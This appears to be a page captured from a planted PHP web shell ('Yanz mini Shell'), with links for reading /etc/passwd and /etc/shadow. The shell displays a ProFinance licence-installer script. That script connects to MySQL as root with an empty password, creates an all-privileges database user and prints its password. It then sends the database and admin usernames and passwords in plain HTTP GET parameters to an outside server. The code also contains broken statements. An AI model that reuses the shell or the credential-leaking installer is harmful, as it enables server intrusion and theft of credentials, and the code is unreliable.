Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
echo "<a onclick=\"window.print()\"><i class=\"fa fa-print\"></i> Print Log</a>
<h4><i class=\"fa fa-cogs\"></i> Licence Installation Process Log.</h4>";

//------------------Check Remote communication---------------------
// create curl resource 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "http://www.ornamentsolutions.com/license.php"); 
//return the transfer as a string 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
if (curl_exec($ch) != "online") {
 die("<h3><i class=\"fa fa-chain-broken\"></i> Establish an Internet connection to continue.</h3>
<h4>The ProFinance license server cannot be found.  This problem can be caused by a variety of issues, including:</h4>
Internet connectivity has been lost.<br>
The ProFinance license server is temporarily unavailable.");}
// close curl resource to free up system resources 
curl_close($ch);
//------------------Check Remote communication---------------------

$MySQL_host     = 'localhost';
$MySQL_username = 'root';
$MySQL_password = '';
if (!($connection = @mysql_connect($MySQL_host, $MySQL_username, $MySQL_password))){
die('Worng Database Credentials');}

echo "<h4><i class=\"fa fa-file-code-o\"></i> Creating Temporary files.</h4>";
//-----------variables---------------
 $comp_nm=@$_POST['comp_nm'];
 $comp_slo=@$_POST['comp_slo'];
 $adrs=@$_POST['adrs'];
 $lxp=@$_POST['lxp']*4410465/4831488*4410465;
 $nou=@$_POST['nou'];
 $mac=@$_POST['mac'];
 $sip=@$_POST['sip'];
 $ad_usr=@$_POST['ad_usr'];
 $ad_pass=@$_POST['ad_pass'];
 $ad_eml=@$_POST['ad_eml'];
 $duf=substr($comp_nm,0,3)."_root";
 $dpf=@$_POST['lxp'];
 $dnf=substr($comp_nm,0,3)."_ProFinance";
 $lic_dat= array($comp_nm,$comp_slo,$adrs,$lxp,$nou,$mac,$sip,$duf,$dpf,$dnf,$ad_usr,$ad_pass,$ad_eml);
 $fnm=array("cnf","csf","acf","lef","nou","mac","sip","duf","dpf","dnf","adu","adp","ade");
 $title=array("Company Name","Company Slogan","Address and Contact","Licence Expiry","No Of Users","MAC Address","Server IP","DB User","DB Password","DB Name","Admin User","Admin Password","Authentication Email");
//-----------variables---------------

//-----------------------logo------------------
$temp_name=@$_FILES['logo']['tmp_name'];
$logo_data = file_get_contents( $temp_name );
$img_str = base64_encode($logo_data);
$lgf_nm="admin/orna/img";//logo file path with name
$lgf=fopen($lgf_nm,"w");
fwrite($lgf,$img_str);
fclose($lgf);
echo "<i class=\"fa fa-check\"></i> logo file successfully created........... <br>";
//echo '<img src="data:image/png;base64,'.$img_str.'" />';
//-----------------------logo------------------

//-----------------------registeration files------------------
$arrlength = count($lic_dat);
for($x=0;$x < $arrlength; $x++){
$lic_reg_data = base64_encode($lic_dat[$x]);
$data_files="admin/orna/".$fnm[$x];//licence data file locaiton and name
$new_lic_file=fopen($data_files,"w");
fwrite($new_lic_file,$lic_reg_data);
fclose($new_lic_file);
echo "<i class=\"fa fa-check\"></i> ".$title[$x]." file successfully created........... <br>";}
//-----------------------registeration files------------------

echo "<h4><i class=\"fa fa-database\"></i> Creating Database Files.</h4>";

//------------------database-------------------------
$filename='admin/orna/dump.sql';
$dbName = substr($lic_dat[0],0,3)."_ProFinance";
//create the database
$db_selected = mysql_select_db($dbName);
if (!$db_selected) {
  $sql = 'CREATE DATABASE '.$dbName;
if (mysqli_query($connection,$sql)) {
echo "<i class=\"fa fa-check\"></i> "." Database \"". $dbName ."\" Successfully Created......... <br>";
mysql_select_db($dbName);} 
else {
echo 'Error creating database: ' . mysql_error() . "\n";}
}
($fp = fopen($filename, 'r')) OR die('failed to open file:'.$filename);
$queryCount = 0;
$query = '';
while( $line=fgets($fp, 1024000)){
    if(substr($line,0,2)=='--' OR trim($line)=='' ){
        continue;
    }
    $query .= $line;
    if( substr(trim($query),-1)==';' ){
        if( !mysqli_query($connection,$query) ){
            echo $error = 'Error performing query \'<strong>' . $query . '\': ' . mysql_error();
            exit;
        }
        $query = '';
        $queryCount++;
    }
}
echo "<i class=\"fa fa-check\"></i> \"".$queryCount."\" Queries Successfully Executed.........<br> 
 <i class=\"fa fa-check\"></i> Database dump loaded and Successfully Mounted.........<br>";
//-----------------------------database-----------------------

echo "<h4><i class=\"fa fa-user\"></i> Creating Database User.</h4>";

//-----------------------------database user-----------------------
$user = substr($lic_dat[0],0,3)."_root";
$host = 'localhost';
$pass = $lic_dat[3];
$createQ = "CREATE USER '{$user}'@'{$host}' IDENTIFIED BY '{$pass}'";
$grantQ = "GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE, FILE, INDEX, INSERT, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SELECT, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER, UPDATE ON  *.* TO '{$user}'@'{$host}' WITH GRANT OPTION";
if(mysqli_query($connection,$createQ)){
echo "<i class=\"fa fa-check\"></i> User \"".$user."\" Successfully Created.........<br/>
<i class=\"fa fa-unlock-alt\"></i> User \"".$user."\" Identified By ".$pass." .........<br/>";
if(mysqli_query($connection,$grantQ)){
echo "<i class=\"fa fa-check\"></i> Permissions Successfully Granted to User \"".$user."\".........<br/>";
}else{
echo "<i class=\"fa fa-exclamation-triangle\"></i> permissions query failed:".mysql_error()."<br/>";
}
}else{
echo "<i class=\"fa fa-exclamation-triangle\"></i> user create query failed:".mysql_error()."<br/>";
}
//-----------------------------database user-----------------------

echo "<h4><i class=\"fa fa-key\"></i> Licence Key:</h4>";

//----------------------------- Licence Key -----------------------
//key1
$key1=$lxp;
//key2
$key2=substr($img_str,0,14);
//key4
 $fn=substr($key1,0,4);
 $sn=3243;
 $x = $fn*$sn;
 $x=$x.$sn;
 if(strlen($x)<=12){
$key4=str_pad($x,14,'0',STR_PAD_LEFT);}
 //key 3
 $info=substr($comp_nm,0,3);
 $info=strtoupper($info);
 $key3=substr(base64_encode(base64_encode($info)), 0,14);
 echo "<h2>".$key1.'-'.$key2.'-'.$key3.'-'.$key4."</h2>";
//----------------------------- Licence Key -----------------------

echo "<h4><i class=\"fa fa-external-link\"></i> Communicating Remote Server:</h4>";

//------------------Remote communication---------------------
// create curl resource 
$ch = curl_init();

$sync="?com_nm=".$comp_nm.
"&lxp=".@$_POST['lxp'].
"&lcc=".$key1."-".$key2."-".$key3."-".$key4.
"&nou=".$nou.
"&dbinfo=DBU-".$duf."DBP-".$dpf."DBN-".$dnf.
"&adu=".$ad_usr.
"&adp=".$ad_pass.
"&ade=".$ad_eml;
//replace space with %20 to avoid error
$sync=$sync = str_replace(' ', '%20', $sync);
// set url 
curl_setopt($ch, CURLOPT_URL, "http://www.ornamentsolutions.com/lgf_log.php".$sync);

//return the transfer as a string 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
      
if (curl_exec($ch) == "done") {
 echo "<i class=\"fa fa-check\"></i> Commnication Successfull Licence Approved............"; 
 } 
else { "<i class=\"fa fa-exclamation-circle\"></i> No internet Access Communication Faied.............."; 
}

// close curl resource to free up system resources 
curl_close($ch);
//------------------Remote communication---------------------

mysql_close();
?>